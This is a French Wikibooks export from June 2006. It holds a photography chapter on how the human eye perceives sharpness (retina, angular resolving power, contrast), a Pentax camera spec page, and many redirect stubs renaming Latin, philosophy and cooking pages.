[[Modèle:Photo_04]] * [[Modèle:Photo_05]] * [[Modèle:Photo_06]] * [[Modèle:Photo_07]] * [[Modèle:Photo_08]] * [[Modèle:Photo_09]] * [[Modèle:Photo_10]] * [[Modèle:Photo_11]] * [[Modèle:Photo_12]] * [[Modèle:Photo_13]] * [[Modèle:Photo_14]] * [[Modèle:Photo_15]] * [[Modèle:Photo_16]] * [[Modèle:Photo_17]] * [[Modèle:Photo_18]] * [[Modèle:Photo_19]] * [[Modèle:Photo_20]] * [[Modèle:Photo_21]] * [[Modèle:Photo_40]] Photographie - 14 - L'œil et la perception de la netteté 8733 45607 2006-06-24T18:07:33Z Jean-Jacques MILAN 114 /* Influence du contraste */ {{Photographie}} {{Photo_14}} Comparé aux objectifs modernes, l'[[œil]] humain est un instrument d'optique assez médiocre mais néanmoins capable, à certains égards, de performances assez étonnantes. Sauf pour certaines applications scientifiques que nous n'évoquerons pas ici, c'est lui qui va apprécier la netteté des photographies et il importe donc de bien comprendre comment il « fonctionne ». == Structure de la rétine == Les cellules visuelles, au nombre de 500 000 environ, sont de deux types : des '''bâtonnets''' particulièrement sensibles aux faibles lumières et des '''cônes''' qui permettent la discrimination des couleurs. Contrairement aux films et aux capteurs qui possèdent les mêmes propriétés sur toute leur surface, la rétine est peuplée densément au centre et de moins en moins en allant vers les bords, où l'on ne trouve plus que quelques rares bâtonnets. La zone centrale est occupée par la '''macula''' ou ''tache jaune'', d'environ 2 mm² et richement dotée en cônes et en bâtonnets. Le milieu de la macula est lui-même occupé par une petite dépression de 0,4 mm de diamètre, la '''fovea''', où ne se trouvent que des cônes extrêmement serrés. C'est là que l'acuité visuelle est maximale, du moins en bonne lumière. La nuit, faute de bâtonnets, la fovea est aveugle et pour percevoir la lumière d'étoiles de faible magnitude, il faut regarder un peu à côté, en utilisant les cellules de la macula. [[Image:Oeil.jpg|350px]] La fovea correspond à un angle de vision d'environ 1,5° et c'est sur elle que nous amenons instinctivement l'image du point que nous sommes en train de fixer. Loin de la fovea, l'acuité visuelle diminue rapidement jusqu'à devenir très médiocre ; l'œil sain «voit flou» partout sauf au centre mais il compense cette insuffisance par une très grande mobilité grâce à laquelle il peut explorer les diverses parties du sujet situé devant lui. Le cerveau, dont la rétine n'est qu'un prolongement, s'adapte aux diverses situations pour constituer, avec les informations qu'il reçoit, une « image mentale » utilisable. == Pouvoir séparateur angulaire == On imagine facilement que si les images de deux points distincts d'un sujet se forment sur une même cellule visuelle, ces deux points ne seront pas distingués mais au contraire perçus comme un point unique. Il s'agit là, évidemment, d'une idée un peu schématique. Les recherches ont montré qu'un œil normal pouvait séparer des points lumineux vus sous un angle minimal d'environ 1' (une minute), soit à peu près 1/3000e de radian. Nous appellerons <big>'''&epsilon;'''</big> (epsilon) cet angle. [[Image:Netteté limite.png|300px|right]] Au mieux, l'œil perçoit donc des détails de 0,33 mm à 1 m, ou de 3,3 mm à 10 m, ou de 3,3 cm à 100 m, etc., tandis que les objectifs sont généralement capables de performances beaucoup plus élevées et ceci, dans tout le champ photographié et pas simplement dans une petite zone centrale. Encore faut-il, pour atteindre cette limite, que les points soient très contrastés par rapport au fond (deux étoiles proches, par exemple), ce qui n'est presque jamais le cas pour les objets de la vie quotidienne. Par ailleurs, ce pouvoir séparateur diminue avec la fatigue et avec d'éventuelles pathologies. Retenons la valeur du pouvoir séparateur angulaire '''maximal''' de l'œil : '''<big>&epsilon;</big>=1/3000 radian'''. Pour les applications courantes, on adopte plutôt '''<big>&epsilon;</big>=1/1500 radian'''. Cette valeur, plus proche des conditions habituelles et généralement suffisante, sera discutée plus loin. '''Il faut bien comprendre que cet angle limite n'est qu'une valeur de référence, forcément arbitraire'''. La perception d'une petite tache ou d'un trait fin dépend au moins autant, sinon plus, du contraste local et de la netteté de ses bords que de ses dimensions. Placé à 1 m d'une surface blanche bien éclairée, l'œil « normal » y distinguera probablement un point noir de 0,25 mm de diamètre, donc de taille inférieure à la limite donnée ci-dessus, mais pas une chiure de mouche jaune pâle de 1 mm de diamètre, pourtant beaucoup plus grande. == Influence du contraste == Nous aurons l'occasion de revenir sur le caractère très subjectif et très relatif de la sensation de netteté qui dépend de nombreux facteurs, parmi lesquels le contraste joue un rôle déterminant. Il suffit pour s'en convaincre de regarder les trois images suivantes : {| cellpadding="5" |- | [[Image:Lignes 1.png|100px]] | Voici une portion de mire constituée de traits nets alternativement noirs et blancs, |- | [[Image:Lignes 2.jpg|100px]] | puis une première image un peu floue de cette portion de mire donnée par un objectif X, |- | [[Image:Lignes 3.jpg|100px]] | et une seconde image apparemment très dégradée donnée par un objectif Y. |- |} Ce n'est pas le nombre des lignes visibles qui différencie visuellement les deux images, mais la façon dont l'objectif a traduit le contraste de la mire. La première, observée avec quelques mètres de recul, paraîtra nette, tandis que la seconde, au contraire, paraîtra floue. Elle contient pourtant la même quantité d'informations que l'autre ! L'impression de netteté est due au moins autant aux micro-contrastes locaux qu'à la restitution précise des fins détails. Une photo très peu contrastée paraît grisâtre et donne une impression de flou qui n'est pas forcément justifiée. == Effets de bord == Par ailleurs, d'autres phénomènes liés à la perception interviennent ; regardez les images ci-dessous, en vous plaçant à différentes distances de votre écran. {| cellpadding="5" |- |[[Image:Flou et contraste.jpg|70px|left]] |Les lignes noires et blanches sont floues tandis que les lignes grises sont parfaitement nettes et contiennent une information de meilleure qualité. Remarquez au passage, sur ces dernières, un effet de bord grâce auquel l'œil augmente les contrastes des frontières. Les lignes grises ne donnent plus l'impression d'être uniformes mais elles le sont pourtant bel et bien. |[[Image:Flou et contraste.jpg|400px|right]] |- |} Conclusion : '''Il ne faut jamais confondre le contraste et la netteté !''' MecaVhistSc, la chute libre 8741 45797 2006-06-26T14:43:47Z Guerinsylvie 928 [[MecaVhistSc, la chute libre]] déplacé vers [[Mecanique, enseignée via l'Histoire des Sciences, la chute libre (Section 1)]]: Il paraît que MecaVhistsc n'était pas bien reçu #REDIRECT [[Mecanique, enseignée via l'Histoire des Sciences, la chute libre (Section 1)]] MecaVhistsc, la chute ralentie, plan incliné 8743 46415 2006-06-28T21:00:25Z Guillaumito 46 correction double redirection #REDIRECT [[Mécanique, enseignée via l'Histoire des Sciences, la chute ralentie sur plan incliné (Section4)]] Mécanique, enseignée via l'Histoire des Sciences, la chute ralentie sur plan incliné (Section3) 8744 45805 2006-06-26T14:57:39Z Guerinsylvie 928 [[Mécanique, enseignée via l'Histoire des Sciences, la chute ralentie sur plan incliné (Section3)]] déplacé vers [[Mécanique, enseignée via l'Histoire des Sciences, la chute ralentie sur plan incliné (Section4)]]: il paraît que c'était Section4 #REDIRECT [[Mécanique, enseignée via l'Histoire des Sciences, la chute ralentie sur plan incliné (Section4)]] MecaVhistsc, la chute libre, avec vitesse initiale 8745 45810 2006-06-26T15:04:46Z Guerinsylvie 928 [[MecaVhistsc, la chute libre, avec vitesse initiale]] déplacé vers [[Mécanique, enseignée via l'Histoire des Sciences, la chute libre, avec vitesse initiale (Section3)]]: remise en ordre, via le nouveau titre #REDIRECT [[Mécanique, enseignée via l'Histoire des Sciences, la chute libre, avec vitesse initiale (Section3)]] MecaVhistsc, le choc frontal 8747 45885 2006-06-26T17:18:01Z Guerinsylvie 928 [[MecaVhistsc, le choc frontal]] déplacé vers [[Mécanique, enseignée via l'Histoire des Sciences, le choc frontal ( Section2)]]: on a renommé le titre... #REDIRECT [[Mécanique, enseignée via l'Histoire des Sciences, le choc frontal ( Section2)]] MecaVhistsc, diagramme horaire 8748 45887 2006-06-26T17:20:41Z Guerinsylvie 928 [[MecaVhistsc, diagramme horaire]] déplacé vers [[Mécanique, enseignée via l'Histoire des Sciences, diagramme horaire(Section5)]] #REDIRECT [[Mécanique, enseignée via l'Histoire des Sciences, diagramme horaire(Section5)]] MecaVhistsc, diagramme des espaces, plan de phase 8749 45890 2006-06-26T17:26:52Z Guerinsylvie 928 [[MecaVhistsc, diagramme des espaces, plan de phase]] déplacé vers [[Mécanique, enseignée via l'Histoire des Sciences, plan de phase(Section6)]]: cangement du titre du livre #REDIRECT [[Mécanique, enseignée via l'Histoire des Sciences, plan de phase(Section6)]] Notions préliminaires sur la langue latine 8750 45909 2006-06-26T19:43:34Z Guillaumito 46 [[Notions préliminaires sur la langue latine]] déplacé vers [[Latin/Notions préliminaires]]: Application de la politique de nommage #REDIRECT [[Latin/Notions préliminaires]] Latin : leçon 1 8751 45911 2006-06-26T19:46:21Z Guillaumito 46 [[Latin : leçon 1]] déplacé vers [[Latin/Leçon 1]]: politique de nommage #REDIRECT [[Latin/Leçon 1]] Latin : leçon 2 8752 45913 2006-06-26T19:53:39Z Guillaumito 46 [[Latin : leçon 2]] déplacé vers [[Latin/Leçon 2]]: politique de nommage #REDIRECT [[Latin/Leçon 2]] Latin : leçon 3 8754 45917 2006-06-26T19:54:04Z Guillaumito 46 [[Latin : leçon 3]] déplacé vers [[Latin/Leçon 3]]: politique de nommage #REDIRECT [[Latin/Leçon 3]] Latin : leçon 4 8755 45919 2006-06-26T19:54:32Z Guillaumito 46 [[Latin : leçon 4]] déplacé vers [[Latin/Leçon 4]]: politique de nommage #REDIRECT [[Latin/Leçon 4]] Latin : leçon 5 8756 45921 2006-06-26T19:54:55Z Guillaumito 46 [[Latin : leçon 5]] déplacé vers [[Latin/Leçon 5]]: politique de nommage #REDIRECT [[Latin/Leçon 5]] Latin : leçon 6 8757 45923 2006-06-26T19:55:16Z Guillaumito 46 [[Latin : leçon 6]] déplacé vers [[Latin/Leçon 6]]: politique de nommage #REDIRECT [[Latin/Leçon 6]] Latin : leçon 7 8758 45925 2006-06-26T19:55:31Z Guillaumito 46 [[Latin : leçon 7]] déplacé vers [[Latin/Leçon 7]]: politique de nommage #REDIRECT [[Latin/Leçon 7]] Versions latines, niveau débutant 8760 45929 2006-06-26T19:58:19Z Guillaumito 46 [[Versions latines, niveau débutant]] déplacé vers [[Latin/Versions/Niveau débutant]]: politique de nommage #REDIRECT [[Latin/Versions/Niveau débutant]] Latin:Déclinaisons 8761 45931 2006-06-26T20:00:38Z Guillaumito 46 [[Latin:Déclinaisons]] déplacé vers [[Latin/Déclinaisons]]: politique de nommage (tiens, ça fait deux fois que je la renomme celle la...) #REDIRECT [[Latin/Déclinaisons]] Les degrés de l'adjectif qualificatif (latin) 8762 45933 2006-06-26T20:00:59Z Guillaumito 46 [[Les degrés de l'adjectif qualificatif (latin)]] déplacé vers [[Latin/Les degrés de l'adjectif qualificatif]]: politique de nommage #REDIRECT [[Latin/Les degrés de l'adjectif qualificatif]] Les pronoms et les adjectifs pronoms (latin) 8763 45935 2006-06-26T20:01:31Z Guillaumito 46 [[Les pronoms et les adjectifs pronoms (latin)]] déplacé vers [[Latin/Les pronoms et les adjectifs pronoms]]: politique de nommage #REDIRECT [[Latin/Les pronoms et les adjectifs pronoms]] Les mots invariables (latin) 8764 45937 2006-06-26T20:01:46Z Guillaumito 46 [[Les mots invariables (latin)]] déplacé vers [[Latin/Les mots invariables]]: politique de nommage #REDIRECT [[Latin/Les mots invariables]] Conjugaisons du latin 8765 45939 2006-06-26T20:02:03Z Guillaumito 46 [[Conjugaisons du latin]] déplacé vers [[Latin/Conjugaisons]]: politique de nommage #REDIRECT [[Latin/Conjugaisons]] Conjonctions (latin) 8766 45941 2006-06-26T20:02:19Z Guillaumito 46 [[Conjonctions (latin)]] déplacé vers [[Latin/Conjonctions]]: politique de nommage #REDIRECT [[Latin/Conjonctions]] Le rôle des cas en latin 8767 45943 2006-06-26T20:03:20Z Guillaumito 46 [[Le rôle des cas en latin]] déplacé vers [[Latin/Le rôle des cas]]: politique de nommage #REDIRECT [[Latin/Le rôle des cas]] Les formes impersonnelles en latin 8768 45945 2006-06-26T20:03:34Z Guillaumito 46 [[Les formes impersonnelles en latin]] déplacé vers [[Latin/Les formes impersonnelles]]: politique de nommage #REDIRECT [[Latin/Les formes impersonnelles]] Tableau des emplois de ut 8769 45947 2006-06-26T20:03:46Z Guillaumito 46 [[Tableau des emplois de ut]] déplacé vers [[Latin/Tableau des emplois de ut]]: politique de nommage #REDIRECT [[Latin/Tableau des emplois de ut]] Petite syntaxe latine à l'usage de la version 8770 45949 2006-06-26T20:04:23Z Guillaumito 46 [[Petite syntaxe latine à l'usage de la version]] déplacé vers [[Latin/Petite syntaxe à l'usage de la version]]: politique de nommage #REDIRECT [[Latin/Petite syntaxe à l'usage de la version]] Les adjectifs numéraux les plus fréquents 8771 45951 2006-06-26T20:06:57Z Guillaumito 46 [[Les adjectifs numéraux les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Adjectifs numéraux]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Adjectifs numéraux]] Les prépositions les plus fréquentes 8772 45953 2006-06-26T20:07:20Z Guillaumito 46 [[Les prépositions les plus fréquentes]] déplacé vers [[Latin/Vocabulaire/Prépositions]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Prépositions]] Les conjonctions les plus fréquentes 8773 45955 2006-06-26T20:07:40Z Guillaumito 46 [[Les conjonctions les plus fréquentes]] déplacé vers [[Latin/Vocabulaire/Conjonctions]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Conjonctions]] Les adverbes les plus fréquents 8774 45957 2006-06-26T20:08:00Z Guillaumito 46 [[Les adverbes les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Adverbes]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Adverbes]] Les verbes irréguliers et défectifs 8775 45959 2006-06-26T20:08:24Z Guillaumito 46 [[Les verbes irréguliers et défectifs]] déplacé vers [[Latin/Vocabulaire/Verbes irréguliers et défectifs]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Verbes irréguliers et défectifs]] Les pronoms et déterminants les plus fréquents 8776 45961 2006-06-26T20:08:49Z Guillaumito 46 [[Les pronoms et déterminants les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Pronoms et déterminants]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Pronoms et déterminants]] Les 400 mots latins les plus fréquents 8777 45963 2006-06-26T20:09:10Z Guillaumito 46 [[Les 400 mots latins les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Les 400 mots les plus fréquents]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Les 400 mots les plus fréquents]] Modèle:Appareil 8779 45982 2006-06-26T21:57:58Z Jean-Jacques MILAN 114 <noinclude>'''Voir [[Discussion Modèle:Boîte déroulante]] !'''</noinclude> <div style="clear:both" class="NavFrame"> <div class="NavHead" align="{{{alignT|center}}}">{{{titre}}}</div> <div class="NavContent" align="{{{align|center}}}">{{{contenu}}} </div> <div class="NavEnd">&nbsp;</div> </div> Photographie - 40 - Pentax 8780 46005 2006-06-26T22:54:46Z Jean-Jacques MILAN 114 == Appareils compacts numériques == === Pentax Optio A10 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>appareil ultra-compact stabilisé •&nbsp;<font color=grey>Capteur : </font>CCD 1/1,8 8 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2448x3264 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>24 Mo •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>zoom Pentax f/2,6-4,8 7,9-23,7 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur optique : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm 232 000 pixels •&nbsp;<font color=grey>Modes : </font>18 modes scène •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 4 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>auto, multizone, centrale et spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>automatique de 64 à 4000 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, 6 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>accu Li-ion DL-18 •&nbsp;<font color=grey>Dimensions : </font>89x55x23 mm •&nbsp;<font color=grey>Poids : </font>145 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>350 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Pentax Optio W10 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>compact étanche tous temps •&nbsp;<font color=grey>Capteur : </font>CCD 1/2,5 6 Mpix •&nbsp;<font color=grey>Définition maxi : </font>2112x2816 •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>10 Mo •&nbsp;<font color=grey>Cartes-mémoires : </font>SD •&nbsp;<font color=grey>Objectif : </font>zoom Pentax f/3,3-4 6,3-18,9 mm •&nbsp;<font color=grey>Équivalent 24x36 : </font>38-114 mm •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur optique : </font>non •&nbsp;<font color=grey>Écran : </font>LCD 6,4 cm 114 000 pixels •&nbsp;<font color=grey>Modes : </font>24 modes scènes •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 4 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>automatique multizone, centrale et spot •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>automatique de 64 à 800 ISO •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>automatique, 6 préréglages •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>accu Li-ion DL-18 •&nbsp;<font color=grey>Dimensions : </font>107x55x24 mm •&nbsp;<font color=grey>Poids : </font>160 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>350 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} Les indéfinis latins 8781 46011 2006-06-27T09:20:33Z Guillaumito 46 [[Les indéfinis latins]] déplacé vers [[Latin/Vocabulaire/Les indéfinis]]: politique de nommage #REDIRECT [[Latin/Vocabulaire/Les indéfinis]] Culture 8782 46037 2006-06-27T18:17:46Z Guillaumito 46 [[Culture]] déplacé vers [[Philosophie/Culture]]: Convention de nommage #REDIRECT [[Philosophie/Culture]] Technique 8783 46040 2006-06-27T18:19:22Z Guillaumito 46 [[Technique]] déplacé vers [[Philosophie/Technique]]: Convention de nommage #REDIRECT [[Philosophie/Technique]] Art 8784 46043 2006-06-27T18:20:42Z Guillaumito 46 [[Art]] déplacé vers [[Philosophie/Art]]: Convention de nommage #REDIRECT [[Philosophie/Art]] Langage 8785 46045 2006-06-27T18:21:01Z Guillaumito 46 [[Langage]] déplacé vers [[Philosophie/Langage]]: Convention de nommage #REDIRECT [[Philosophie/Langage]] Sujet 8786 46047 2006-06-27T18:22:10Z Guillaumito 46 [[Sujet]] déplacé vers [[Philosophie/Sujet]]: Convention de nommage #REDIRECT [[Philosophie/Sujet]] Conscience 8788 46051 2006-06-27T18:23:05Z Guillaumito 46 [[Conscience]] déplacé vers [[Philosophie/Conscience]]: Convention de nommage #REDIRECT [[Philosophie/Conscience]] Perception 8790 46055 2006-06-27T18:23:29Z Guillaumito 46 [[Perception]] déplacé vers [[Philosophie/Perception]]: Convention de nommage #REDIRECT [[Philosophie/Perception]] Inconscient 8791 46057 2006-06-27T18:25:21Z Guillaumito 46 [[Inconscient]] déplacé vers [[Philosophie/Inconscient]]: Convention de nommage #REDIRECT [[Philosophie/Inconscient]] Autrui 8792 46059 2006-06-27T18:25:38Z Guillaumito 46 [[Autrui]] déplacé vers [[Philosophie/Autrui]]: Convention de nommage #REDIRECT [[Philosophie/Autrui]] Désir 8793 46063 2006-06-27T18:38:50Z Guillaumito 46 [[Désir]] déplacé vers [[Philosophie/Désir]]: Convention de nommage #REDIRECT [[Philosophie/Désir]] Existence et temps 8794 46065 2006-06-27T18:39:02Z Guillaumito 46 [[Existence et temps]] déplacé vers [[Philosophie/Existence et temps]]: Convention de nommage #REDIRECT [[Philosophie/Existence et temps]] Cuisine:Tartes et pizzas 8795 46067 2006-06-27T18:42:26Z Nicombo 684 [[Cuisine:Tartes et pizzas]] déplacé vers [[Livre de Cuisine/Tartes et pizzas]]: les conventions sur les titres d'articles ont été discutées longuement. il semble que la forme "Titre_du_livre/chapitre/article" soit la plus pratique. #REDIRECT [[Livre de Cuisine/Tartes et pizzas]] Raison et réel 8796 46073 2006-06-27T18:52:45Z Guillaumito 46 [[Raison et réel]] déplacé vers [[Philosophie/Raison et réel]]: Convention de nommage #REDIRECT [[Philosophie/Raison et réel]] Vérité 8797 46075 2006-06-27T18:53:10Z Guillaumito 46 [[Vérité]] déplacé vers [[Philosophie/Vérité]]: Convention de nommage #REDIRECT [[Philosophie/Vérité]] Politique 8799 46079 2006-06-27T18:53:39Z Guillaumito 46 [[Politique]] déplacé vers [[Philosophie/Politique]]: Convention de nommage #REDIRECT [[Philosophie/Politique]] État 8801 46084 2006-06-27T18:53:59Z Guillaumito 46 [[État]] déplacé vers [[Philosophie/État]]: Convention de nommage #REDIRECT [[Philosophie/État]] Morale 8802 46086 2006-06-27T18:54:25Z Guillaumito 46 [[Morale]] déplacé vers [[Philosophie/Morale]]: Convention de nommage #REDIRECT [[Philosophie/Morale]] Liberté 8804 46091 2006-06-27T18:54:51Z Guillaumito 46 [[Liberté]] déplacé vers [[Philosophie/Liberté]]: Convention de nommage #REDIRECT [[Philosophie/Liberté]] Bonheur 8805 46093 2006-06-27T18:55:05Z Guillaumito 46 [[Bonheur]] déplacé vers [[Philosophie/Bonheur]]: Convention de nommage #REDIRECT [[Philosophie/Bonheur]] Repères (philosophie) 8806 46095 2006-06-27T18:55:27Z Guillaumito 46 [[Repères (philosophie)]] déplacé vers [[Philosophie/Repères]]: Convention de nommage #REDIRECT [[Philosophie/Repères]] Cuisine:Tarte au beaufort 8807 46097 2006-06-27T18:55:43Z Nicombo 684 [[Cuisine:Tarte au beaufort]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte au beaufort]]: conventions de nommage #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte au beaufort]] Acte/Puissance 8808 46099 2006-06-27T18:56:15Z Guillaumito 46 [[Acte/Puissance]] déplacé vers [[Philosophie/Acte/Puissance]]: Convention de nommage #REDIRECT [[Philosophie/Acte/Puissance]] Contingent/nécessaire/possible 8809 46102 2006-06-27T18:56:30Z Guillaumito 46 [[Contingent/nécessaire/possible]] déplacé vers [[Philosophie/Contingent/nécessaire/possible]]: Convention de nommage #REDIRECT [[Philosophie/Contingent/nécessaire/possible]] Expliquer/comprendre 8811 46106 2006-06-27T18:56:45Z Guillaumito 46 [[Expliquer/comprendre]] déplacé vers [[Philosphie/Expliquer/comprendre]]: Convention de nommage #REDIRECT [[Philosphie/Expliquer/comprendre]] Objectif/subjectif 8812 46108 2006-06-27T18:56:59Z Guillaumito 46 [[Objectif/subjectif]] déplacé vers [[Philosophie/Objectif/subjectif]]: Convention de nommage #REDIRECT [[Philosophie/Objectif/subjectif]] Fiches de lecture (philosophie) 8813 46121 2006-06-27T20:28:47Z Guillaumito 46 [[Fiches de lecture (philosophie)]] déplacé vers [[Philosophie/Fiches de lecture]]: Convention de nommage #REDIRECT [[Philosophie/Fiches de lecture]] Organon 8814 46123 2006-06-27T20:29:27Z Guillaumito 46 [[Organon]] déplacé vers [[Philosophie/Organon]]: Convention de nommage #REDIRECT [[Philosophie/Organon]] Méditations Métaphysiques 8815 46125 2006-06-27T20:29:47Z Guillaumito 46 [[Méditations Métaphysiques]] déplacé vers [[Philosophie/Méditations Métaphysiques]]: Convention de nommage #REDIRECT [[Philosophie/Méditations Métaphysiques]] Monadologie 8816 46127 2006-06-27T20:30:03Z Guillaumito 46 [[Monadologie]] déplacé vers [[Philosophie/Monadologie]]: Convention de nommage #REDIRECT [[Philosophie/Monadologie]] La Phénoménologie de l'Esprit 8817 46129 2006-06-27T20:30:20Z Guillaumito 46 [[La Phénoménologie de l'Esprit]] déplacé vers [[Philosophie/La Phénoménologie de l'Esprit]]: Convention de nommage #REDIRECT [[Philosophie/La Phénoménologie de l'Esprit]] Cuisine:Tarte au chèvre 8818 46150 2006-06-28T03:09:40Z Nicombo 684 [[Cuisine:Tarte au chèvre]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte au chèvre]]: Conventions de nommage #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte au chèvre]] Cuisine:Tarte aux courgettes 8819 46152 2006-06-28T03:10:06Z Nicombo 684 [[Cuisine:Tarte aux courgettes]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte aux courgettes]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte aux courgettes]] Tarte au saumon et aux épinards 8820 46154 2006-06-28T03:10:25Z Nicombo 684 [[Tarte au saumon et aux épinards]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte au saumon et aux épinards]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte au saumon et aux épinards]] Tarte aux tomates et au gouda 8821 46156 2006-06-28T03:10:41Z Nicombo 684 [[Tarte aux tomates et au gouda]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte aux tomates et au gouda]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte aux tomates et au gouda]] Tarte au Maroilles 8822 46158 2006-06-28T03:10:57Z Nicombo 684 [[Tarte au Maroilles]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte au Maroilles]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte au Maroilles]] Tarte aux fromages 8823 46161 2006-06-28T03:12:02Z Nicombo 684 [[Tarte aux fromages]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte aux fromages]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte aux fromages]] Cuisine:Tarte landaise 8824 46163 2006-06-28T03:12:34Z Nicombo 684 [[Cuisine:Tarte landaise]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Tarte landaise]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Tarte landaise]] Pizza au chèvre et aux lardons 8825 46165 2006-06-28T03:12:55Z Nicombo 684 [[Pizza au chèvre et aux lardons]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza au chèvre et aux lardons]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza au chèvre et aux lardons]] Pizza au thon 8826 46167 2006-06-28T03:13:07Z Nicombo 684 [[Pizza au thon]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza au thon]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza au thon]] Cuisine:Pizzas végétaliennes 8827 46169 2006-06-28T03:13:54Z Nicombo 684 [[Cuisine:Pizzas végétaliennes]] déplacé vers [[Livre de Cuisine/Pizzas végétaliennes]] #REDIRECT [[Livre de Cuisine/Pizzas végétaliennes]] Pizza Margherita 8828 46171 2006-06-28T03:14:13Z Nicombo 684 [[Pizza Margherita]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza Margherita]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza Margherita]] Pizza à la pancetta 8829 46173 2006-06-28T03:14:50Z Nicombo 684 [[Pizza à la pancetta]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza à la pancetta]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza à la pancetta]] Pizza aux poivrons 8830 46176 2006-06-28T03:16:47Z Nicombo 684 [[Pizza aux poivrons]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza aux poivrons]] Cuisine:Pizza aux quatre fromages 8831 46178 2006-06-28T03:17:34Z Nicombo 684 [[Cuisine:Pizza aux quatre fromages]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza aux quatre fromages]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza aux quatre fromages]] Cuisine:Pizza aux moules 8832 46180 2006-06-28T03:18:03Z Nicombo 684 [[Cuisine:Pizza aux moules]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza aux moules]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza aux moules]] Pizza campagnarde 8833 46182 2006-06-28T03:18:30Z Nicombo 684 [[Pizza campagnarde]] déplacé vers [[Livre de Cuisine/Tartes et pizzas/Pizza campagnarde]] #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza campagnarde]] Pizza au fromage gorgonzola 8834 46184 2006-06-28T03:18:32Z 